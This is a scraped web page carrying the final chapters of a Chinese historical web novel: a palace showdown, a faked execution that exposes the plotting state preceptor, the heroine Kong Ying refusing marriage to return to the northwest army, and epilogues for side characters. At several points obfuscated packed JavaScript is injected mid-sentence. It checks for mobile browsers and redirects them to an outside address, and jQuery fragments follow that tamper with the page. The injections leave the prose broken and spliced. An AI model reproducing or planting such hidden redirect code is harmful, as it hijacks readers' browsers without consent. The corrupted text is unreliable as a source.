“大敌当前决战在即,三军将士枕戈待旦,百万黎民身家性命悬于一线。你身为主帅,不思破敌之策,不顾江山社稷,竟在此刻问这等陈年旧事,去关心一个早已化为枯骨的贱奴?” 师傅的面庞因愤怒而扭曲,眼中失望至极。赵衡呆愣,没有料到燕寒松会发这么大的火气。原本寻求真相的执念,一下子随着勇气烟消云散。 燕寒松胸膛因愤怒而剧烈起伏,怒骂: “竖子不足与谋!” 撂下最后一句话,猛地一甩宽袖,不再去看赵衡苍白的面庞。 赵衡几乎不知道自己是怎么离开的,深一脚浅一脚踩在雪地上,冰冷的夜风刺在他脸上,总算让他清醒几分。再一看四周,才发现自己已经到了孔英屋前。 内心有一种屈辱感,但更多的是迷茫无措,像被一柄沉重的枷锁扣住。 窗户里透出一点微弱的光亮,在浓重的夜色里显得格外温暖,其中似乎透出一个看不清晰的模糊轮廓。孔英还没有入睡。 也是,今晚无眠之人怕是不少。 赵衡站在离房门几步远的雪地里,像一尊被风雪冻住的石像。夜风吹起他散落的鬓发,寒气浸透靴子和裤腿,蔓延到四肢躯干。 他想进去。 想推开那扇房门,见到孔英或许是吃惊的表情,哪怕又是一场不欢而散,也好过整个世界徒留自己一人的孤寂。 赵衡下意识向前挪了一小步。 可惜就在他脚步落下的瞬间,窗户里那点昏黄的光亮毫无征兆地熄灭了。 如同冰水淋头,瞬间将赵衡从头到脚浇了个透心凉。他站在原地,仿佛能透过门墙,看到房内已经安睡的人。 睫毛上结出细小的冰晶,天上又落起薄雪。 赵衡极其轻微地叹了一口气,活动着被冻麻的腿脚转身离去。雪地上只留下两行深深浅浅的脚印,很快又被新落的白雪覆盖。 - 决战当日,赵军势不可挡,长驱直入皇宫。 空气中弥漫着浓重的血腥味,太和殿前,仅剩的御林军队将南渐鸿围在中间,神色疲倦却保持警惕,誓要战斗到最后一刻。 赵军与南朝军对峙,只等一声令下。 赵衡脸上沾染血迹,一手按着腰间的佩剑剑柄,另一只手自然垂在身侧。大仇得报,宿愿将成,心中漫上一丝难以言喻的空茫。 抬头望去,宝座金光灿灿。 燕寒松站在太和殿高高的丹陛之下,身上的长袍溅满了暗红的血点。他手持长剑,几缕花白的鬓发被汗水黏在额角,显得有些狼狈,但眼睛却亮得惊人。 二十余年,人生半载,他终于就要成功了! 二十年前南渐鸿斩杀赵幽王时,燕寒松身为军师就在现场。他亲眼见赵幽王这个窃取天下的逆贼的头颅落地,心中无限畅快。 是的,其实在燕寒松心中,比起南渐鸿,赵幽王才是那个偷盗赵氏天下的逆贼。 震天的厮杀声犹在耳畔,他却似乎听见了竹叶在清风中的沙沙作响声。燕寒松本是个山野村夫,幸遭文帝赏识,受其知遇之恩。 这个衣着简朴的年轻帝王眉宇间带着忧国忧民之色,眼神真诚而热切,低声下气请他出山相助,燕寒松那颗自诩看透世事的心也不由得软下来。 带着满腔的抱负来到京城时,他是真心地想要辅佐赵朝走上鼎盛。殚精竭虑献计献策,他看着年轻的赵文帝宵衣旰食,本以为自己找到了值得托付一生的明主。 可是天妒英才啊! 燕寒松至今记得自己守在龙榻前时,看着那个曾经意气风发的帝王是如何被病魔折磨得骨瘦如柴,临终前气若游丝的嘱托更让他心如刀绞。 燕寒松所有的抱负和伟愿都跟着文帝一起被埋进墓里。 好人不长命,偏偏祸害遗千年。文帝早逝,幽王继位,贪图享乐荒淫无道的幽帝根本没办法当好一个王朝的皇帝。燕寒松眼睁睁见文帝打下的根基,被昏君一点点败坏。 忠良被贬,奸佞当道,民怨沸腾。他数次进谏,却换来被贬与疏远。 既然坐不好这龙椅……那就下来! 他看出南渐宏的狼子野心却没有阻止,反而在暗中推波助澜。在一片混乱之时保护好废太子赵衡,以身入局加入起义军,游走于各方势力之间,亲眼看着这个他曾付出从诸多心血的王朝是如何一步步走向末路。 直到叛军登堂入室,“咔嚓”一声头骨碎裂,赵幽王的头咕噜噜滚到他脚边,死不瞑目的双眼盯着穹顶,恍若心有不甘。 燕寒松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却还没等他狂喜的呐喊声落地,广场另一侧传来一阵异样的骚动。 燕寒松笑声戛然而止,他转过头,浑浊的视线射向骚动源头。 一个身影在不知道哪里冒出来的众多士兵簇拥下走出来。那人身形高大,身上铠甲沾满血污和尘土,也掩盖不住其久经沙场的沉稳与威严。他的步伐很稳,迈出千军辟易的气势。头盔的阴影遮住了他大半张脸,只露出线条刚硬的下颌。 赵军众士兵惊疑不定望着来人,燕寒松眯起眼,却觉得来人有些眼熟。 当那人走到距离丹陛十几步远时自觉停下脚步,缓缓抬手摘下了头盔。面容冷硬,鬓角染着霜白,冰冷的视线与燕寒松骇然的目光对视上,嘴唇紧抿成一条直线。 头盔下露出的赫然是一张燕寒松再熟悉不过的脸庞。 他,他怎么会……! “国师大人,别来无恙。” 56. 大结局(中) 孔青雄! 他明明,明明被自己扣上谋反的罪名构陷下狱,早该死在刑场上,怎么可能还好端端活着,还能出现在今时今日的太和殿前? 燕寒松死死盯着那个身影,仿佛想将对方看出个洞来。 数月前。 孔青雄站在御书房中央,脊背笔直,脸上出乎意料地没有愤怒和委屈,只有一丝不易察觉的疲惫。 他刚被南渐鸿派去的人从刑场上偷梁换柱下来。南渐鸿为确保戏码逼真,特地没有提前告诉这个头脑简单演技拙劣的护国公。而孔青雄吃了断头饭,本已心如死灰走上刑场,突然大落大起,被告知不仅不用死,事成之后还能继续当他的护国公。 孔青雄此时面上淡然,实际上却冷汗涔涔,心道幸好先前蒙冤入狱时,没对南渐鸿骂出更难听的话,不然今日怕是要被假戏真做了。 南渐鸿人至中年,面容被富贵生活养出几分弥勒佛似的祥和,没有摆出皇帝的架子,给孔青雄赐座,送去一杯茶。 “朕知道你更爱喝酒,但经此一难,孔卿怕是终于知道了喝酒误事的道理。”他看上去心情不错,还有心意揶揄孔青雄。 孔青雄面上讪讪不敢言语,将名贵的武夷岩茶牛饮而尽,砸吧砸吧嘴,没品出什么滋味。 气氛轻松下来,南渐鸿将拉回正题。 “那日燕寒松在殿上言辞凿凿,其所罗列你的‘罪证’条条清晰句句诛心,不像是临时起意。” 他顿了顿,给孔青雄些反应时间,继续道:“朕知道这些年你对朕多有不满。” 南渐鸿直言不讳的话反而让孔青雄心里有底。他怕就怕对方说话不清不楚暗藏玄机,自己也不是听不出来,只是打心底里厌恶那种绵里藏针的做派。 就像燕寒松……哎。 “朕怕你功高震主,怕你威望太盛,盖过了朕。”南渐鸿坦坦荡荡,“且不怕你笑话,朕也是第一次当皇帝。” 南渐鸿原本只是个地方小官,侥幸在乱世之中搏出条通天道来。刚当上皇帝的时候什么都不懂,念在众人跟着自己打江山将生死置之度外。那穷人乍富,心态难免变化,更觉得不能亏待属下们。 有人劝也不听,直到后来要做实事了才发现分出去的权力太多,且官场复杂,层层叠叠盘根错节,这才意识到当初自己太无知。 甚至在建朝初就发生了小规模叛乱的苗头,都被南渐鸿派人即使掐灭了。 于是一场旷日持久的削权夺权开始了。 燕寒松很聪明,他抓住了众多合理中的不合理之处,并将它渲染扩大。孔青雄被忽悠过去不奇怪,毕竟他清清楚楚见到了曾并肩作战的人被贬、被迁谪,也感受到了自己手中权力不断减少。 唯恐自己就是下一个被抓了小辫子而流放蛮荒之地的。 甚至南渐鸿都被燕寒松蒙蔽了不少时间。 他感慨:“燕寒松的嘴可太会说了,还总能看出朕最害怕的东西。” 有权的人害怕失去权,有地位的人害怕失去地位。南渐鸿日日坐在龙椅上,怕的就是坐不稳这龙椅。其实燕寒松离间他与南经武的手段也不算多么高深莫测,只是有时当局者迷旁观者清,南渐鸿跳出功名利禄的束缚,才明白他与堂弟已渐行渐远多时了。 高王……南渐鸿在赐封号时,想起古人的一首诗,讲的是诗人独在异乡,而远在故乡的亲朋兄弟登高望远,却差了他一人。南渐鸿一时有感而发,给南经武赐封号为“高”。 谁知如今兄弟反目,南渐鸿真要成了孤家寡人。 “敢问陛下,可曾有一刻真正怀疑过臣的忠心?” 南渐鸿眼珠子转到孔青雄身上,见他两鬓苍苍,脑海里第一时间想起的是两人初见。 彼时南渐鸿年轻热血,初生牛犊不怕虎,想着要活就活出个人样,东拼西凑才拉起一支起义队伍。而孔青雄已经凭借军事能力在各路起义军中初露锋芒。 南渐鸿年轻气盛,心里有些不服气。他听说孔青雄和自己年纪相差不多,怎么对方就能这么压自己一头? 直到狭路相逢,勇者为胜。 在那次小小的交锋中,南渐鸿首次看清了孔青雄的脸,暗道:年纪轻轻,长得挺显老。 不过不打不相识,这次交锋意外让两人结下不小的渊源,甚至让他们再次相见时一拍即合,两支队伍合并成一支,后来又加入了燕寒松。 真是一段现在想起来依旧心潮澎湃的岁月啊。 “未曾。” 孔青雄的脸上终于露出如释重负般的表情,站起身朝南渐鸿作一揖。 君臣借此机会互诉衷肠,终于将这些年以来的误会一一解释清楚,并决定演一出大戏给燕寒松和赵衡看。 护国公假死,君主将假虎符赐给国师,假装一路败退将城池让给对方,实际用自己人掌控实权,也借此清洗不安分子,给长久以来被燕寒松把持的朝廷来一次刮骨疗伤,并最终将反贼引入京城瓮中捉鳖。 就在赵衡率领的赵军主力倾巢而出挺进京城时,先前被赵军占领的各个城池也在发生悄无声息的政变,只是消息传递闭塞,赵衡和燕寒松对此尚一无所知。 就连他们在京城外的驻地,也被孔青雄派人偷了家。 孔英见到房门被人破开,第一反应是燕寒松终于忍不住要来杀她了,结果一见来人直接傻在了原地。 这些人,不就是她尚未出阁时,常在京城练兵场见到的将领兵卒吗? 在领头者三言两语解释清楚现状后,孔英得知父亲只是假死,差点喜极而泣,但也知道危机尚未解除,现在不是叙旧的时候。 一把拿过老熟人给她带来的弓箭,孔英随众人一路往皇宫太和殿赶去。 燕寒松一见孔青雄“死而复生”,心知中计。然开弓没有回头箭,落子无悔大丈夫。事已至此,难道除了破釜沉舟,难道他还有第二条路可走吗? 可军队人心动摇,攻势为之一滞。就在此时,原本看似摇摇欲坠的宫门之后,突然爆发出震天的喊杀声。 无数身披精良甲胄的朝廷御林军,如同早已蓄势待发的洪流汹涌而出,阵列森严,刀枪如林,与踌躇不定的赵军形成鲜明对比,丝毫看不出先前节节败退的模样。 赵衡终于明白自己心中难言的不安来自何处,可现在他没办法再放下手中之剑,唯有拼出一条血路。 异变突生,两军杀作一团。 “众将士听令——” 孔青雄声如惊雷,在一片混乱的战场上炸响。 只见他不知何时站到了高处,护在南渐鸿身前,疾声厉色,铠甲威风凛凛,手中高高擎着一物: 青铜铸造,虎形狰狞,细节清晰。那是一枚虎符,能号令天下兵马、象征着最高军事权威的真正的虎符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵衡瞳孔骤然收缩,下意识地想要朝那个方向迈出一步,却被接连涌来的兵卒挡去前路,神魂皆惊之下,恍若世事都在朝他远去。 一道身影从溃散的赵军残兵中暴起,双目赤红,面露疯狂,手中握一柄染血长刀,目标直指被禁军重重护卫着的南渐鸿。 护卫禁军反应极快,长枪如林挡在南渐鸿身前,而杨逸春丝毫不惧,依旧悍然前冲,如同飞蛾扑火,不顾一切地冲向穿着龙袍的身影:“昏君,纳命来!” “咻——” 破空声撕裂空气,一支铁箭从侧后方的高楼之上射出,箭矢精准从杨逸春的后心贯入。 杨逸春前冲的身形一僵,低头看着胸前透出的箭镞,张了张嘴,却只涌出大口的鲜血。长刀“哐啷”掉落在地,身体扑倒在阶前。 高楼之上,孔英身穿轻甲身姿挺拔,射出一箭后依旧不松懈,面无表情将箭对准下一个目标。 风卷着浓重的血腥气味吹过广场,吹过太和殿的飞檐。 厮杀声渐渐平息,残存的赵军遗将要么迷途知返弃器投降,要么执迷不悟被当场格杀。 孔青雄目光扫过一片狼藉,扫过燕寒松撞柱而亡的尸体,扫过杨逸春伏诛的尸身,扫过被生擒押走的废太子赵衡,最后看见了远在高楼之上多年未见的女儿。 她变化很大。原来女儿更像自己,现在倒更像她母亲了。 孔青雄最终收回目光,转身下跪双手将虎符呈上: “陛下,臣幸不辱使命。” 57. 大结局(下) 尘埃落定。 了解完南渐鸿和孔青雄的一切筹谋之后,孔英不得不感叹他俩胆子真大,还敢放逆军进到皇宫里来。但凡一个玩脱,或是燕寒松等人留有后手,那不是完蛋。 只是不破不立。若非此遭,就算南渐鸿能在赵衡刚领兵起军时,就将他熄灭在火苗之时,然前朝遗军却不会被尽数揪出,往后依仍旧是个隐患。 这次是废太子,谁知下次会不会冒出来个废王爷、废长公主? 兵行险招,绝处逢生。 “那爹你假死也不跟我通声气,要是我一怒之下杀了赵衡,你们的筹谋又该如何继续下去?” 其实理由和孔英之前的想法差不多。 燕寒松告发孔青雄那一刻,无疑是将自己完完全全暴露在了南渐鸿眼皮子底下。都到了这一步,即使赵衡身死,燕寒松也不太可能会放弃谋反再从头来过。 “是爹错了,当初要不是爹认人不清,也不会叫你遭如此大难。”说起这个,孔青雄就无比懊恼自责,恨不得能自己去替孔英受那些挫折磨难。 早知如此,还不如就让孔英老老实实在家里待着,想去练兵场他也不会再拦着,招个上门赘婿,一辈子安康快乐就好。 想是这么想,孔青雄也知道不大可能。孔英本就不是个安分性子,再者赵衡与燕寒松叛乱是迟早的事,说不定在另一个世界,孔英还是会披甲上阵,成就一个乱世豪杰。 孔英知道这事怪不了孔青雄,毕竟燕寒松这计谋几乎是针对他们家设下的。换做是她,她也不会对自己二十多年的老友设防,无形之中也会被引导。 父女俩许久未见,话茬一直从天黑聊到天亮。孔英将自己这些年来在军营里的生活一一跟父亲详说,孔青雄听了又是心疼又是难过,还夹杂着一点小骄傲,心中宽慰。 吾家有女初长成,孔英有力人皆知。 天刚蒙蒙亮,东方泛起鱼肚白,孔英总算止住话头,打着哈欠跟父亲告别,一头埋进被窝,好好休养一番自己饱受磋磨的身心。谁知刚过没多久,就又被丫鬟从被窝里扒出来。 孔英正梦会周公,挥挥手就又要倒头就睡,便听丫鬟道: “小姐,宫里来人啦!” 皇宫,先前的尸山血海已经被清理干净,半点看不出决战后的样子。殿内燃着浓重的熏香,连血腥味都闻不到了。南渐鸿端坐御案后,脸上带着大战初歇后的疲惫与如释重负,端起茶盏吹了吹浮沫。 孔英到了才发现不只是她与护国公,在这次平叛中对南朝忠心耿耿不离不弃的大臣们几乎都被请来了。 看这架势,大抵是要论功行赏什么的,孔英对此毫无兴趣。她本就一夜未眠,想补个觉又被请进了皇宫,此时听着那些一本正经的官话,上下眼皮直打架。 意识模糊间,隐约听见某个熟悉的声音道: “……护国公家的三女儿孔英,巾帼不让须眉,那一箭射得干净利落……孔英,朕问你,你想不想当太子妃?” 平地一声雷,炸得孔英从睡梦中彻底惊醒,一个激灵抬头见周围官员目光齐齐落在自己身上,大殿宝座上的人笑吟吟正看着自己,差点吓出一身冷汗,几乎是脱口而出: “不想!” 京城人谁不知道孔家三女儿已经嫁给了国师弟子楼修生?就算国师谋反被诛,南渐鸿知道楼修生就是赵衡,但此事还未被大众熟知,她现在在众人眼里可还是个未和离的有夫之妇啊! 且她女扮男装参军、被赵军俘虏的事也在京城闹得满城风雨,几乎无人不知无人不晓,原本她爹伪造宣扬的京城第一美人的名头完全被盖过了。 这皇帝是怎么想的,居然问她愿不愿意当太子妃。难道是在试探孔家? 南渐鸿明显失望地“哦”了一声。 ……你还真是认真的啊。 被孔英一口回绝,南渐鸿沉思,道:“你护驾有功,不能不赏。那朕就封你为‘安定郡主’,食邑千户,赐丹书铁券。如何?” 封郡主的含金量已经很高了,食邑千户是实打实的厚赏,丹书铁券更是免死殊荣。 孔英听旨跪在地上,却没有立刻谢恩,沉默片刻后抬起头,言辞恳切:“陛下厚恩,臣女感激涕零,却不敢领受。” 南渐鸿眉头微皱:“哦?为何?” 孔英态度诚恳,神色认真: “臣女身为护国公之女,未能及时察觉逆贼阴谋,致使陛下身陷险境,此乃失察之罪一;身为朝廷军官,未能恪尽职守守卫怀州,反而被逆贼所俘,此乃失职之罪二。功过相抵,臣女不敢言功,更不敢受此厚封。” 一番话后,大殿针落有声。 孔青雄心中微叹,想着女儿真是长大了。 南渐鸿之前没和他提起过让孔英当太子妃的事,孔青雄刚才听了也吓一大跳。但南渐鸿却有意无意透露过,自己在此事了结之后就会退位禅让,让如今的太子继位。 虽然不知道南渐鸿刚才的话是说笑还是认真,但若是孔英答应下来,皇帝金口玉言,定会让这事落成。到时候孔家面对的将是个更复杂的麻烦。 朝中不少有女儿的人家都盯着太子妃的位置呢,更别说是后位,而且孔英的性子根本不适合久居深宫。总之孔英拒绝是对的,就是拒绝得太快太不给皇帝面子了…… 至于这郡主之位,要是孔英想当,当了也就当了。不过那时,孔家就同时出了护国公和安定郡主,且都十分受君主重视。原本还有个国师与他们孔家保持平衡,如今孔家却要一家独大。 匹夫无罪,怀璧其罪。 孔青雄可不想再经历一次蒙冤入狱了,那牢狱里连断头饭都不好吃。 南渐鸿看着殿下的孔英,好奇问:“那你想要什么?” 孔英一顿,深深一拜:“臣女别无他求,只愿陛下允臣女恢复从前的军职,重回西北军效力。” 南渐鸿的目光在孔英身上停留了很久,看着她眼中的鉴定与决绝,又想起了许多年前在简陋营帐里与他纵论天下的年轻将领。不愧是血脉相承的父女。 哎,他真是老了,总喜欢回忆往昔。 “准了。” 皇帝沉声道:“即日起,封孔英为西北军都尉,保境息民,护南朝边疆安稳。至于郡主封号,朕既已出口便无收回之理。封号你且留着,食邑和丹书铁券,也一并赐下。 “你想去西北,就去吧。” 孔英紧绷的身体终于放松下来,叩首道:“谢陛下隆恩。” 她抬起头,目光越过御案,仿佛已经看到了西北那辽阔的天空、凛冽的风沙和熟悉的号角声。 退朝之后,南渐鸿对着空荡的大殿,无奈道: “你自己都听到了,孔英对什么太子妃的位置不感兴趣。这女儿郎志向可高远着咧!” 角落走出个衣着不凡的年轻人,相貌端正俊朗,细看就能发现他与坐在龙椅上的南渐鸿长相胜似,如今神情有几分忧郁。 太子亲耳听到了心上人的拒绝,正闷闷不乐。 或许孔英不知道,也未曾在意过。在她二哥孔穆还是太子伴读的时候,太子就对这位只喜欢武术和话本的妹妹上了心。 恳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288477|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请自己的姑姑办各种赏花宴和诗会,借口邀请各家千金,其实只是想多和孔英接触,结果她就没来过几次。知道对方在京城设下擂台,太子还瞒着众人悄悄上过一回,结局当然是被孔英一拳打趴,但这更让太子燃起了好胜心。 他本想着孔英年纪还小,再多培养培养感情也不迟,居然就听闻了护国公三小姐要成亲的消息。太子伤心,太子落泪,太子借酒消愁愁更愁。 后来发生的事超出了他的意料,他身为一国太子,没办法只被儿女情长纠缠,只好暂且放下无心的神女。 直到如今万事终了,太子决定勇敢一回。他想前朝废太子都可以,自己这个本朝正太子怎么不行,于是请父皇为自己和孔英赐婚。女子贞洁名声什么的他全不在意,却不能不在意孔英的意愿。 终究是有缘无份。 - 孔英牵着战马站在城外长亭边。这匹御赐的宝马打着响鼻,喷出团团白气。她穿着一身绀色劲装,外罩挡风的皮坎肩,长发束在脑后,显得整个人精神气十足。 行李简单,一个不大的包裹挂在马鞍旁。她拒绝了父亲派亲兵护送的建议,也婉拒了所有送行的人。 虽然孔英现在身份尊贵,又是西北女都尉,又是皇帝亲封的安定郡主,但她还是不太喜欢被众人前呼后拥着。 护国公虽难过刚与女儿重逢不久就要分别,却懂得女儿有更大的前程要去奔赴。只好分外珍惜在家中的相处时刻,天天给孔英做好饭好菜,将她之前消瘦不少的身体养回来。 临了出发,护国公派人传信给孔英要她等等,说自己有个礼物要送给她。 一阵车轮滚动声由远及近,身着护国公府仆役服饰的驾车男人将马车停在孔英战马旁边,停着不动了。 孔英正好奇,就见青布马车上掀帘下来一个人。 穿着一身素净的月白色锦袍,脸上蒙着一块同色的面巾,此刻低垂着头看不清神情,安静站着,双手交叠放在身前,姿态恭顺。 孔英愕然。父亲这是给她送来……一个男宠? “你……” 正要赶人回去,却见男子抬头,被面巾遮掩的脸庞只露出一双眼睛,眉形修长秀气,狭长的狐狸眼上挑,长长的睫毛在眼下投下一小片阴影。 孔英愣住,恍若看见了当初的楼薇。 山南山北雪晴,千里万里月明。 沉默半晌,她忽然释怀地笑了。 伸出手直接抓住白衣男子的手腕,手臂用力猛地一拽。 他猝不及防,被她拽得一个踉跄,发出一声短促的惊呼,声音被面巾阻隔,显得有些闷。孔英置若罔闻,抓住男子的腰带发力。他只觉身体腾空,天旋地转间已经被孔英掳上马匹。 “驾!” 孔英英姿飒爽翻身上马,没有再看目瞪口呆的仆人与身后巍峨的城池,双腿猛地一夹马腹。 战马发出一声嘹亮的长嘶,前蹄扬起,朝着西北的方向,绝尘而去。 风卷着沙砾打在蒙着面巾的脸上,他侧头就可见身前女子紧绷的下颌线条。闭上眼,任由那熟悉的气息将自己彻底包裹。 尘土漫天飞扬,长亭外只剩下那个目瞪口呆的马夫,和一阵的滚滚烟尘。 - 风过山脊,过了无痕。 “道常无为而无不为……不欲以静,天下将自正。” 一声几不可闻的叹息从他唇间溢出,胡子拉碴的孤蓬客仿佛融入了这片风,这片山,这片天地。呼吸平稳悠长,如同熟睡的婴孩般安详。 “原来,如此。” 58. 人闲桂花落 阳州的春天来得迟,柳树才刚抽出一点嫩黄的芽。一匹通体乌黑的大马,驮着个身形魁梧的汉子进了城门,他腰间悬一柄厚背长刀,皮肤被风沙磨砺得粗糙黝黑。 守城的兵卒显然认得他,远远看见便挺直了腰板:“孟副统领,您回来了!” 孟超勒住马缰,对着那兵卒微微颔首,算是打过招呼。 如今已是回到阳州的第二个月份。仗打完了,命保住了,他还升了官,从最开始的怀州百夫长晋升成了阳州副统领。 城中不便骑马,孟超翻身下马牵着缰绳,慢慢走在阳州城不算宽敞的主街上。 街边摊贩叫卖,儿童嬉戏,正值饭点,饭菜香气一股脑涌进他鼻子里。这才是活着的味道。 他走到一个烧饼摊边:“来两个烧饼,夹肉。” 做烧饼的老汉还认得这位身世传奇的军爷,听说他以前当过捕快,还当过土匪,不过现在已经金盆洗手改邪归正了。 这老汉年过半百但手脚利落,极其熟练地在烧饼中夹上满满当当的肉。孟超接过热腾腾的烧饼,从怀里摸出几枚铜钱放在摊子上。 “欸,多了,孟爷,多了!”老汉连忙拿起一枚要还给他。 孟超摆摆手,咬了一大口烧饼,含糊道:“拿着吧。” 他牵着马拐进了城南一条巷子,巷子里平房朴实,却收拾得干干净净。 “娘。” 李荷花正躺在门前的藤椅上晒太阳,听见孟超回来也懒得起身招呼。孟超将油纸包的烧饼递给老母亲,李荷花见白芝麻烧饼裹着油汪汪的卤肉,眼睛一亮: “嗨哟,我给你留了饭的,这孩子又乱花钱。” 孟超知道她嘴硬,笑道:“没乱花,刚进城馋这口了,就买了俩。您尝尝,还热乎着呢。老张头的手艺没变,肉夹得比从前还多。 “您儿子现在是阳州副统帅,烧饼而已,随便买啦。” 李荷花也知道这个道理。但她一想到这功名是靠儿子从腥风血雨里闯出来的,就止不住心疼,攒着钱舍不得花。连儿子劝了好久让她换个房子,她也推辞了好多次。 “对了,娘,我在城东买了间大宅院,咱这两天收拾收拾,后天就搬!” “什么!你这孩子买院子怎么也不跟我商量商量,哎哟这么突然,那我可得现在就去收拾了!” - 细雨湿润了临河酒楼“蒋记”新挂上的红绸,王行之站在二楼雅间,看河面上来来往往的船只,他身上穿着青色夹袄,面料洗得有些发旧。 三十岁的举人老爷,眉宇间那多年的郁结之气终于散开了。 许是他真的天资有限,连续多年乡试不中,自己都几乎要放弃了。可转头看看一直陪在自己身边的蒋芸,他又觉得自己这难关不算什么。 一年前蒋父与世长辞,蒋家大酒楼的重担落在蒋芸一个人肩上。王行之看着她日夜操劳,心里跟着着急,可自己对酒楼生意经营一窍不通,唯一能做的似乎就是用功读书考取功名。 某日蒋芸对他说,世上再无自己的至亲,她想要一个孩子。 两人的女儿蒋小满就是如此出生的。 但那时王行之还未中举人,按照与蒋父先前的约定,他还不能入赘蒋家。未婚有女,此事给蒋芸招来不少闲言碎语,只是她都不甚在意。 人言可畏,但只要拿人言当狗吠,便没什么流言蜚语能伤到她。 蒋芸推门进来,她穿一身绛紫色锦缎袄子,插一支简单的金簪。岁月在她身上留下了痕迹,眼角添了细纹,但依旧是一副慈眉善目的样子。 “账目看完了?” 王行之转身点了点头:“上月盈余不错,尤其是新推的那几道淮扬菜很受欢迎。” 考中举人之后,王行之清楚自己几斤几两,再往上考也不过是蹉跎岁月而已,看清后便及时止损不再继续科考。 先前蒋芸联合万两金运粮有功,借着赏赐将酒楼越开越大,成了赫赫有名的蒋老板。只是规模越来越大,她也有些力不从心,便让离开衙门后一时无所事事的王行之一起帮忙,好歹发挥举人的作用。 蒋芸满意地“嗯”了一声,目光转向窗外:“京城那边的铺面已经盘下来了。地段不错,就是价钱着实不便宜。” 她说着,从袖中抽出一张叠好的信笺递给王行之:“万两金的信,你看看。” 信上字迹潦草,内容却直白得很,无非是催促蒋芸尽快北上,京城达官贵人多,正是“蒋记”扬名立万的好时机。他已经打点好了一些关节,就等着蒋老板这股东风。 “万老板倒是心急。”王行之笑道。 “有钱能赚却没赚不了,他当然心急。”蒋芸顿了顿,看向王行之,“不日后就要去京城了。” 阳州这边家业不差,但要是去了京城,虽有万两金帮忙打点,却也是得从头开始。纵使是她蒋芸,也不敢说一定能做成。若是王行之不愿跟着去,而是想留在阳州,蒋芸也不愿强迫他。 王行之却默默挽起了蒋芸的手:“总归你去哪里,我也跟着去哪里。” 他本就受洪灾逃难而来无依无靠,在容水县有幸遇上蒋芸。说实话,王行之一直担心自己要是考不上举人,是不是一直就没个名分。幸好幸好,他争气考上了。 想起女儿圆圆的小脸,王行之心底一软,他何其有幸能遇上这样好的一家人。 他揽着蒋芸的肩膀,静看窗外的雨,似乎小了些。 - 京城,万两金的铺子里人头攒动,伙计们穿梭其间招呼着客人,一派蒸蒸日上的景象。 万两金手里慢悠悠盘着两颗油光水滑的核桃,心想着真是三十年河东三十年河西。早些年他受小人陷害,差点丢了家里基业,差点连最后一间铺子都要变卖了。 幸得贵人相助保住基业没有落入奸人之手,后来又掺合到给怀州运粮一事中。虽说担了风险,高王谋逆之后他们这些个粮商可都是提着脑袋过日子,可回报也着实丰厚。 上头顾念着他曾经有功且忠心为国,一路给了他不少便利。如今万两金顺利将粮铺开到了京城,就等蒋老板来一起合作,将事业做大做强呢。 现如今他铺子里也不止粮食瓜果,各色绫罗绸缎、珠宝古玩也有不少,是实打实的“万宝楼”,在京城贵人圈子里也算小有名号。 手上盘着核桃,眼角的余光随意扫过门口。一个刚送走客人的伙计掀开帘子,门外走进来一个身影。 一身素净的月牙白袄裙,外罩件青灰色比甲,头上一支碧玉簪子,再无其他饰物,这么款款走进来。 核桃相碰,发出“咔”的一声轻响。万两金瞬间瞪大了双眼。她低着头,正仔细看着货架上陈列的几匹绸缎,身形单薄,带着一种与这满室繁华格格不入的清冷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288478|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万两金下意识地往前探了探身子,想看得更真切些。见那女子微微侧过脸,露出清秀的半边脸。 真是她…… 万两金只觉得一股热血直冲头顶,呼吸都变得有些急促,脸上溢出笑,顾不得稳重,直冲那人挥挥手,叫道:“表妹!” 武婵闻声抬头,四目相对。 万两金看得更清楚了。记忆中那张略带婴儿肥的脸庞如今瘦了不少,显出女人皮贴着肉的清冷。或许是历经世事,眼神不复当年的灵动跳脱,剩下一种看淡世事的平和。她见万两金小跑着到自己面前,眼中闪过惊讶,微微屈膝行礼: “万老板。” 万两金被对方的疏离刺了一下,脸上的笑容僵住,伸出去想扶她的手被武蝉不着痕迹地避开。 他有些语无伦次,目光扫过她身上那身过于素净的服饰,一个不祥的念头窜上心头:“表妹,你这是……” 武婵垂下眼睑,淡淡道:“家夫在年前逝世了。” 逝世……也就是说表妹现在是孤身一人? 万两金呆呆看着眼前清瘦得仿佛一阵风就能吹倒的表妹,心中思绪无限,有吃惊、心疼,还有一丝压抑许多年的蠢蠢欲动得念头。 当初打听到表妹嫁人后,万两金以为两人缘分已尽不再强求,孰料阴差阳错,命运跟他开了个这样的玩笑。当年求而不得地遗憾总让他难以忘怀,如今他当然要抓住机会! 